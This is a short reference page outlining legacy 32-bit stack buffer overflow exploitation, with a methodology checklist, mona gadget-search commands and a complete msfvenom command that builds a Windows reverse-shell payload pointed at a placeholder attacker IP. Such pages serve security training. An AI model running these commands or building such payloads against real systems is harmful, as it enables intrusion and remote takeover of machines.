Buffer overflow: exploitation methodology
Find an overflow, control EIP and assemble a payload with the Metasploit helper utilities.
Debuggers:
- Linux: gdb, edb
- Windows: OllyDbg
Methodology
This is a legacy 32-bit stack-overflow outline, not a universal exploitation recipe. DEP/NX, ASLR, canaries and control-flow protections change the conditions.
- Find an overflow
- Identify the EIP overwrite with tools such as msf-pattern_create and msf-pattern_offset
- Look for forbidden characters in the buffer
- Assess DEP/NX and address randomisation; a ROP chain still needs usable addresses
- Create a “first stage” with msf-nasm_shell if the shellcode does not fit
- Create a shellcode with msfvenom, excluding the forbidden characters
- Build the exploit with a NOP sled ahead of the shellcode
MSFVenom payload
msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x1a\x0a\x0d\x25\x26\x2b\x3d"Mona
Search for modules without ASLR and similar: !mona modules
Search for a ROP gadget: !mona find -s "\xff\xe4" -m "MSA2Mutility03.dll"
Provenance and confidence
- Version
- 2
- Sources reviewed
- 2026-11-23
- Confidence
- medium — Legacy RTFM; v2 editorial review on 2026-11-23 identifies the 32-bit historical context and qualifies mitigation/ROP assumptions. No exploit validation.
Also searched as: buffer overflow, dépassement de tampon, eip, rop, shellcode